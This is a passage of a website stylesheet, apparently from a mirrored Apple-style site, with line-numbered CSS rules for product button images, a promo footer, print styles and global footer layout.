  396. .browsewebappss { background-image: url(../browsewebappss.html); _background-image: url(../browsewebappss-2.html); width: 123px; }
  397. .businessstores { background-image: url(../businessstores.html); _background-image: url(../businessstores-2.html); width: 105px; }
  398. .buyiphones { background-image: url(../buyiphones.html); _background-image: url(../buyiphones-2.html); width: 87px; }
  399. .buynows { background-image: url(buynows.png); _background-image: url(buynows.gif); width: 72px; }
  400. .buynows-arrow { background-image: url(../buynows_arrow.html); _background-image: url(../buynows_arrow-2.html); width: 86px; }
  401. .comingsoons { background-image: url(../comingsoons.html); _background-image: url(../comingsoons-2.html); width: 97px; }
  402. .descargarahoras { background-image: url(../descargarahoras.html); _background-image: url(../descargarahoras-2.html); width: 108px; }
  403. .downloadituness { background-image: url(../downloadituness.html); _background-image: url(../downloadituness-2.html); width: 116px; }
  404. .downloadnows { background-image: url(downloadnows.png); _background-image: url(downloadnows.gif); width: 108px; }
  405. .finds { background-image: url(../finds.html); _background-image: url(../finds-2.html); width: 52px; }
  406. .freetrials { background-image: url(freetrials.png); _background-image: url(freetrials.gif); width: 72px; }
  407. .getstarteds { background-image: url(../getstarteds.html); _background-image: url(../getstarteds-2.html); width: 90px; }
  408. .gos { background-image: url(../gos.html); _background-image: url(../gos-2.html); width: 44px; }
  409. .howtoapplys { background-image: url(../howtoapplys.html); _background-image: url(../howtoapplys-2.html); width: 100px; }
  410. .howtobuys { background-image: url(../howtobuys.html); _background-image: url(../howtobuys-2.html); width: 86px; }
  411. .joinnows { background-image: url(joinnows.png); _background-image: url(joinnows.gif); width: 72px; }
  412. .learnmores { background-image: url(../learnmores.html); _background-image: url(../learnmores-2.html); width: 89px; }
  413. .nikebuynows { background-image: url(../nikebuynows.html); _background-image: url(../nikebuynows-2.html); width: 72px; }
  414. .notifymes { background-image: url(../notifymes.html); _background-image: url(../notifymes-2.html); width: 80px; }
  415. .ordernows { background-image: url(ordernows.png); _background-image: url(ordernows.gif); width: 81px; }
  416. .preordernows { background-image: url(preordernows.png); _background-image: url(preordernows.gif); width: 99px; }
  417. .preorders { background-image: url(../preorders.html); _background-image: url(../preorders-2.html); width: 77px; }
  418. .reserves { background-image: url(../reserves.html); _background-image: url(../reserves-2.html); width: 68px; }
  419. .startyoursearchs { background-image: url(../startyoursearchs.html); _background-image: url(../startyoursearchs-2.html); width: 120px; }
  420. .submits { background-image: url(../submits.html); _background-image: url(../submits-2.html); width: 67px; }
  421. .tryamacs { background-image: url(../tryamacs.html); _background-image: url(../tryamacs-2.html); width: 77px; }
  422. .upgradenows { background-image: url(upgradenows.png); _background-image: url(upgradenows.gif); width: 104px; }
  423. #productheader .browsewebappss, #productheader .businessstores, #productheader .buyiphones, #productheader .buynows, #productheader .comingsoons, #productheader .descargarahoras,
  424. #productheader .downloadituness, #productheader .downloadnows, #productheader .finds, #productheader .freetrials, #productheader .getstarteds,
  425. #productheader .gos, #productheader .howtoapplys, #productheader .howtobuys, #productheader .joinnows, #productheader .learnmores,
  426. #productheader .notifymes, #productheader .ordernows, #productheader .preordernows, #productheader .preorders, #productheader .reserves,
  427. #productheader .startyoursearchs, #productheader .submits, #productheader .tryamacs, #productheader .upgradenows {
  428. margin: 0.8em 0 0 20px; float: left;
  429. }
  430. /* promofooter */
  431. #promofooter { width:984px; margin:18px auto 0; padding-top:17px; background:url(../promofooter_top.html) no-repeat; zoom:1; _background-image:url(../promofooter_top-2.html); }
  432. #promofooter #promos { width:980px; margin-bottom:0; padding:0 2px 4px; background:url(../promofooter_bottom.html) no-repeat 0 100%; zoom:1; _background-image:url(../promofooter_bottom-2.html); }
  433. #promofooter #promos:after { content:'.'; display:block; height:0; clear:both; visibility:hidden; }
  434. #promofooter #promos li.promo { position:relative; float:left; width:244px; min-height:15em; _height:15em; padding-right:1px; margin-top:-16px; }
  435. #promofooter #promos li.promo a { color:#777; }
  436. #promofooter #promos li.promo:hover a { color:#08c; text-decoration:none; }
  437. #promofooter #promos img { display:block; }
  438. #promofooter #promos h4 a,
  439. #promofooter #promos p a,
  440. #promofooter #promos ul { display:block; padding-left:15px; padding-right:12px; text-align:left; z-index:101; *position:relative; }
  441. #promofooter #promos h4 a { font-size:18px; font-weight:normal; padding-top:15px; }
  442. #promofooter #promos p { margin-bottom:0; }
  443. #promofooter #promos p a { font-size:11px; line-height:16px; }
  444. #promofooter #promos a.image { height:180px; position:absolute; bottom:0; z-index:100; }
  445. #promofooter #promos .promo.left p a { width:110px; }
  446. #promofooter #promos .promo.right p a { width:112px; padding-left:116px; }
  447. #promofooter #promos .promo.center p a { text-align:center; }
  448. #promofooter #promos li.buy { position:relative; float:left; width:244px; padding-right:1px; margin-top:-17px; color:#777; }
  449. #promofooter #promos li.buy ul { font-size:11px; line-height:1.4; }
  450. #promofooter.grid2col { min-height: 70px; padding:15px 0 8px 0; border: 1px solid #D2D2D2; }
  451. #promofooter.grid2col { background:#fff;
  452. background:-webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#e5e5e5));
  453. background:-moz-linear-gradient(100% 100% 90deg, #e5e5e5, #fff);
  454. filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#FFFFFF', endColorstr='#e5e5e5');
  455. }
  456. #promofooter.grid2col #promos { background: none;}
  457. #promofooter.grid2col #promos li.promo { width: 47%; min-height: 70px; margin-bottom: -10px; }
  458. #promofooter.grid2col #promos li.promo.first { border-right: 1px solid #e8e8e8; }
  459. #promofooter.grid2col li.promo { padding:20px; }
  460. /* PRINT */
  461. @media print {
  462. body, #main, #content { color: #000 !important; }
  463. a, a:link, a:visited { color: #000 !important; text-decoration:none !important; }
  464. #tabs, #globalheader, #globalfooter, #directorynav, .noprint, .hide { display: none !important; }
  465. #main a.pdf, #main a.html, #main a.qt, #main a.ical, #main a.dl, #main a.dmg, #main a.zip, #main a.keynote, #main a.audio { padding-left: 0 !important; background-image: none !important; }
  466. }
  467. /* iPhone */
  468. @media screen and (max-device-width: 480px) { html { -webkit-text-size-adjust: none; } }
  469. /*New locales changes*/
  470. #globalfooter p.gf-iphonefootnote { float: left; width: 100%; margin:18px 0 -7px 3px; padding-bottom:9px; border-bottom:1px solid #DDDDDD; }
  471. #globalfooter .gf-links { float: right; margin: 18px 3px 9px 0; }
  472. #globalfooter p.gf-copyright { float: left; width: 30%; margin: 18px 0 9px 3px; }
  473. html[lang=el_GR] #globalfooter p.gf-copyright { float: left; width: 20%; margin: 18px 0 9px 3px; }
  474. #globalfooter ul.piped a.privacy { padding-right: 1.5em; border-right: 1px solid #d0d0d0; }
  475. #globalfooter p.gf-iphonefootnote-top { float: left; width: 100%; margin: 18px 0 -7px 3px; padding-bottom:9px;}
  476. #globalfooter p.gf-iphonefootnote-bottom { float: left; width: 100%; margin: 8px 0 -7px 3px; padding-bottom:9px; border-bottom:1px solid #DDDDDD;}